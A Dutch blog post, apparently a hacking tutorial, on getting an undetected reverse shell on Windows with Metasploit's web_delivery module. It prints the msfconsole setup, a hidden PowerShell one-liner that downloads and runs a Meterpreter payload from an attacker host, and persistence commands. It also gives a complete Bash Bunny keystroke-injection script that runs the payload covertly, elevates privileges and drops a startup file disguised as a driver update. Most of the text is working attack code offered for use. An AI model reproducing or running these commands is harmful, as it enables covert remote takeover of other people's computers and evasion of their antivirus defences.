Automated, Undetected Reverse Shell met de Web Delivery
In navolging van de eerdere post over het omzeilen van virusscanners wil ik graag deze tip ook nog even delen. Niet elke exploit word default opgepakt door een virusscanner. Het is dus prima mogelijk om een reverse shell te verkrijgen met een default Metasploit exploit zonder dat de alarmbellen van de virusscanner gaan rinkelen. Dit doen we bijvoorbeeld met de Web Delivery exploit. Leest u mee?
Het Web Delivery Script is een veelzijdige module welke geschreven is door o.a. Andrew Smith “jakx” en Ben Campbell. Voor het succesvol uitvoeren van deze module is enige toegang tot de doelcomputer benodigd. Later in dit hoofdstuk laat ik zien hoe je de uitvoering van het script gemakkelijk kunt uitvoeren met een USB Rubber Ducky of soortgelijke tool. Om het Web Delivery Script succesvol te draaien, waarmee er een reverse shell tot stand wordt gebracht tussen de doelcomputer en de hackers computer wordt er een payload gehost op de hacker machine. Deze payload wordt gehost middels een webserver. De cliënt maakt verbinding met de server waarna de payload wordt uitgevoerd op de doelcomputer. Het grote voordeel is dat er op de doelcomputer slechts een klein stukje code uitgevoerd hoeft te worden waarbij de schijf niet beschreven word. Hierdoor merken virusscanners geen verdachte activiteit op en hou je de vingerafdruk zeer klein. De code die op de doelcomputer uitgevoerd wordt kan meerdere indelingen hebben. Denk hierbij aan Python, PHP, Powershell en Powershell Binary. Ook kan het uitgevoerd worden middels Regsvr32 waarbij middels de squiblydoo techniek “application whitelisting” omzeild kan worden. Dit werkt door gebruik te maken van het signed binaire Microsoft bestand, Regsvr32. Regsvr32 kan een .sct-bestand aanvragen en vervolgens de meegeleverde PowerShell-opdracht uitvoeren. Beide webaanvragen (.sct-bestand aanvragen en het downloaden en uitvoeren van de Powershell) kunnen op dezelfde poort voorkomen.
Web Delivery Exploit Genereren
Om de Web Delivery Exploit te genereren starten we uiteraard Metasploit op (msfconsole).
Laten we eerst specificeren welke exploit we willen gebruiken (de Web Delivery exploit natuurlijk):
use exploit/multi/script/web_delivery |
Vervolgens zijn er 2 opties welke we moeten instellen, de LHOST en de LPORT.
SET LHOST %Listener IP Bereikbaar Door Target% SET LPORT 1234 |
Vervolgens gaan we de target instellen. We kunnen kiezen uit o.a. Python, PHP en Powershell en omdat we een Windows systeem gaan aanvallen kiezen we voor Powershell (PSH).
SET target 2 |
Nu gaan we de payload instellen. Hier kiezen we voor de “reverse_tcp” Meterpreter payload.
set payload windows/meterpreter/reverse_tcp |
Bekijk eventueel de opties en tune deze waar nodig. Als alle goed is lanceren we de exploit.
exploit |
Door de exploit te starten wordt er een listener server gestart welke de payload host. Deze server wacht geduldig op een inkomende verbinding. De console laat ook de gegenereerde Powershell code zien welke op de cliënt gedraaid moet worden. In ons geval ziet deze er als volgt uit:
#Plak onderstaande regels eventueel aan elkaar. Dit is gedaan omdat de paginaruimte in het geding kwam op deze blog: powershell.exe -nop -w hidden -c $z=new-object net.webclient;$z.proxy=[Net.WebRequest] ::GetSystemWebProxy();$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $z.downloadstring('http://192.168.136.129:8080/XNBNyXJ'); |
Wanneer bovenstaande code op de cliënt gedraaid wordt zal ere en sessie opgebouwd worden waarna we deze kunnen beheren.
sessions -i 1 |
Er kunnen meerdere sessies opgebouwd worden indien dat nodig is.
Maak de Exploit Persistent
Soms kan het de wens zijn om vaker terug te keren op de target machine. Hiervoor moet je ervoor zorgen dat de exploit persistent wordt. Je kunt dit op vele manieren doen, bijvoorbeeld door het persistent script uit te voeren:
run persistence –A –L c:\\windows –X 30 –p 1234 –r 192.168.136.129 |
Door bovenstaande commando wordt de Meterpreter in C:\Windows geplaatst. Dit kan echter alarmbellen doen rinkelen van een anti-virusscanner. Wat beter werkt is om de Powershell code in een batchbestand te plaatsen en om deze te kopiëren naar de “opstarten” folder van de gebruiker (%userprofile%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup). Stel eerst de juiste directories in. De Windows directory kun je instellen zoals je gewend bent. De lokale directory stel je in met het “lcd” commando. Om te zien waar je bent kun je het “lpwd” commando gebruiken. Als dat allemaal geregeld is kopieer je het script.
upload ./connect.bat . |
Als het batchbestand geplaatst wordt deze uitgevoerd met het starten van Windows (en het aanloggen van de gebruiker) waardoor je dus altijd een listener kunt starten welke de sessie opnieuw oppikt.
De gebruiker zal tijdens het starten van Windows heel snel een kleine prompt venster zien. Als je dit niet wilt kun je een geplande taak aanmaken om het BAT bestand uit te voeren. Ook zou je het BAT bestand kunnen verbergen in een speciale EXE of zou je VB script kunnen gebruiken om het BAT bestand silent aan te roepen.
Automatisch Uitvoeren Web Delivery Powershell
Zoals al gezegd zal de Web Delivery Powershell een keer uitgevoerd moeten worden om de eerste sessie tot stand te brengen. Hiervoor is toegang tot de fysieke machine nodig. Als je wilt dat gebruikers geen argwaan krijgen is het zaak om deze Powershell code zo stealthy mogelijk uit te voeren. Je kunt hier veel verschillende methodes voor verzinnen maar vandaag gebruik ik mijn goeie oude Bash Bunny! Het script met de Bash Bunny ziet er als volgt uit:
# Powershell Reverse Shell with Web Delivery for Bash Bunnys # Author: Jarno Baselier # Version: Version 1.0 # Target: Windows ## Description # # Starts Powershell and retreives Web Meterpreter from webserver, # loads it in memory and executes it... silently and usualy undetecatable. # # To make this work you must start a Metasploit listener on the server and # create the correct Powershell code. To do this start Metasploit and: # ---------------------------------------------- # use exploit/multi/script/web_delivery # set LHOST %ListenerIP% # set LPORT %ListenerPort% # set TARGET 2 # set payload windows/meterpreter/reverse_tcp # exploit/multi/script/web_delivery # ---------------------------------------------- # No you retrieve your Powershell code and note the URL #(something like "http://192.168.100.100:8080/IJRTeLLE". # Place this URL in the variable below. # Check other variables (if any) and you are good to go. # Purple LED - initializing LED R B 0 #Set Remote URL RURL=http://192.168.136.129:8080/XNBNyXJ #Need persistence? PERSISTENCE="Y" # Y=yes or N=no # Set Attack Mode to HID and STORAGE ATTACKMODE HID STORAGE # Source bunny_helpers.sh for functions & variables see Useful Commands and Syntax for more details source bunny_helpers.sh # Green LED - executing LED G 0 # Gets Switch Position GET SWITCH_POSITION # Execute command Q GUI r Q DELAY 500 #Plak onderstaande regels eventueel aan elkaar. Dit is gedaan omdat de paginaruimte in het geding kwam op deze blog: Q STRING "powershell.exe -nop -w hidden -c \$z=new-object net.webclient;\$z.proxy=[Net.WebRequest]:: Q STRING GetSystemWebProxy();\$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX \$z.downloadstring('$RURL');" Q DELAY 500 Q ENTER # PERSISTENCE? if [ $PERSISTENCE == "Y" ]; then Q GUI r Q DELAY 500 Q STRING powershell Start-Process cmd -Verb runAs Q ENTER Q DELAY 500 Q LEFTARROW Q DELAY 500 Q ENTER Q DELAY 500 Q STRING mode con:cols=20 lines=1 Q ENTER Q DELAY 200 Q STRING color FE Q ENTER Q DELAY 200 #Plak onderstaande regels eventueel aan elkaar. Dit is gedaan omdat de paginaruimte in het geding kwam op deze blog: Q STRING echo "powershell.exe -nop -w hidden -c \$z=new-object net.webclient;\$z.proxy=[Net.WebRequest] Q STRING ::GetSystemWebProxy();\$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX \$z.downloadstring('$RURL');" Q STRING " > " Q STRING "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dirver-update.bat" Q ENTER Q DELAY 200 Q STRING exit Q ENTER fi # Kill the lights - finished LED 0 |
Laten we er stap-voor-stap doorheen lopen. In het eerste gedeelte stellen we de opties in:
# Stele en paarse LED in om de “initializing” stager aan te geven LED R B 0 #Kopieer de remote URL welke je hebt aangemaakt in Metasploit RURL=http://192.168.136.129:8080/XNBNyXJ #Als je wilt dat de Bash Bunny een bestandje plaatst in de “opstarten” folder waardoor het script iedere #keer uitgevoerd wordt als men opnieuw inlogt dan zet je deze setting op “Y”. PERSISTENCE="Y" # Y=yes or N=no #Stel de Bash Bunny Attackmode in op HID en STORAGE. Echter is STORAGE voor deze payload niet benodigd. #Ik heb de STORAGE functie gebruikt tijdens debuggen zodat ik niet iedere keer “arming mode” hoefde te laden om een aanpassing te maken. ATTACKMODE HID STORAGE # Laad de bunny_helpers.sh voor verschillende functies. Deze is ook niet per definitie nodig in deze #payload maar staat default in al mijn payloads zodat ik hem niet kan vergeten. Mag eruit dus. source bunny_helpers.sh # Laad een groene LED om aan te geven dat de Bash Bunny de payload aan het uitvoeren is. LED G 0 #Verkrijg de positie van de switchbutton voor o.a. storage mogelijkheden. Deze positie wordt in een variabele geplaatst. #Deze wordt ook in dit script niet gebruikt en mag verwijderd worden. Is een default in mijn payloads. GET SWITCH_POSITION |
De aanval gaat als volgt te werk:
#Toon “Uitvoeren” Q GUI r Q DELAY 500 #Type de volgende string om de Web Delivery exploit op te vragen en uit te voeren. Let op, alle dollars moeten “escaped” worden. #Dit zijn namelijk geen Bash Bunny variabele, met uitzondering van de RURL variabele. Q STRING "powershell.exe -nop -w hidden -c \$z=new-object net.webclient;\$z.proxy=[Net.WebRequest] Q STRING ::GetSystemWebProxy();\$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX \$z.downloadstring('$RURL');" Q DELAY 500 Q ENTER #Als PERSISTENCE is ingesteld op “Y” dan word het volgende gedeelte uitgevoerd: if [ $PERSISTENCE == "Y" ]; then Q GUI r Q DELAY 500 #Type de volgende string om CMD in “admin” mode (elevated privileges) uit te voeren. Q STRING powershell Start-Process cmd -Verb runAs Q ENTER Q DELAY 500 #Pijltje naar links om “JA” te selecteren in de popup. Q LEFTARROW Q DELAY 500 Q ENTER Q DELAY 500 #Obfuscate de command prompt: Q STRING mode con:cols=20 lines=1 Q ENTER Q DELAY 200 Q STRING color FE Q ENTER Q DELAY 200 #Kopieer de Web Delivery string naar een BAT bestand in de “opstarten” folder van de gebruiker: Q STRING echo "powershell.exe -nop -w hidden -c \$z=new-object net.webclient;\$z.proxy=[Net.WebRequest] Q STRING ::GetSystemWebProxy();\$z.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX \$z.downloadstring('$RURL');" Q STRING " > " Q STRING "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dirver-update.bat" Q ENTER Q DELAY 200 Q STRING exit Q ENTER fi #Zet de LED uit om aan te geven dat de payload voltooid is: LED 0 |
Conclusie
De Web Delivery exploit is een prachtige exploit die vrij gemakkelijk en snel uit te voeren is en die ook vrij gemakkelijk te automatiseren is. Heb jij een betere of andere manier om de exploit te laden op een doelcomputer, laat het me dan zeker even weten.
Dankjewel voor het lezen van mijn post. Hopelijk vond je hem interessant. If so, geef me even een like of deel mijn bericht op de sociale kanalen. Liken, delen of het sturen van een berichtje motiveert mij om meer van dit soort posts te schrijven. Dankjewel!